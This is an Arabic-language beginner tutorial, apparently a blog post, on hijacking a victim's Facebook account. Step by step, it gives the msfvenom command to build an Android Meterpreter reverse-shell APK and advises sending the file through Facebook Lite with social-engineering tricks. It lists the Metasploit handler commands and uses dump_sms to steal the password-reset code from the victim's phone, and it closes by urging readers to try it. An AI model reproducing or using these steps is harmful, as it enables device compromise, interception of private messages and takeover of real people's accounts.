شرح إختراق حساب فيسبوك بالهندسة الإجتماعية بالاستعمال metasploit للمبتدئين ..
- الخطوة الأولى نقوم بإنشاء pylaod عن طريق msfvenom أو Tmuxbunch..
-أوامر انشاء pyload عن طريق msfvenon ...
msfvenom -p android/meterpreter/reverse_tcp LHOST: *** LPORT: *** R> /sdcard/payload.apk
-قم بتغير النجوم الى ip و port الخاص بك ..
-بعد إنشاء payload نقوم بإرسالة للضحية عن طريق Facebook lite ..او بأي طريقة أخرى تفضلها ..
-نقوم بالاستغلال هذه الثغرة عن طريق metasploit console ..
-الاوامر كما يلي :
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
*** set LHOST
**** set LPORT
exploit
-طبعا قم بتغير النجوم الى الip و port الذي انشأت بهم الpayload ..
-الان هدفنا إقناع الضحية بتثبيت الpayload و فتحه ..
-نقوم باستعمال بعض الحيل ..يمكنك الابداع في ذلك بطريقتك الخاصة ..
-بعد تثبيت التطبيق و فتحه من طرف الضحية سوف تفتح لك جلسة meterpreter ..
- الان كيف يتم إختراق فيسبوك الضحية !
-الطريقة بسيطة جدا ..
-نقوم بالذهاب الى الصفحة الرئيسية للفيسبوك و نقوم بتسجيل الخروج ..
-بعد ذلك نختار خيار "نسيت كلمة السر"
-ثم نقوم بوضع إسم حساب الضحية ..
-الان نقوم بارسال رمز التحقق الى رقم هاتف الضحية لتغيير كلمة السر الخاصة به ..
-بعد ذلك نعود الى جلسة meterpreter ..
نضع هذا الامر .. dump-sms ..
نضع هذا الامر .. dump-sms ..
-الان كل ما عليك فتح الملف الذي سوف تتحصل عليه و نسخ الرمز و وضعة في صفحة الفيسبوك التي ظهرت من قبل ..
- الان يمكنك تغيير كلمة السر و تسجيل الدخول الى حساب الضحية بسهولة ..
-طريقة سهلة أنصحكم بتجريبها
===========================
===========================
تعليقات: (0) إضافة تعليق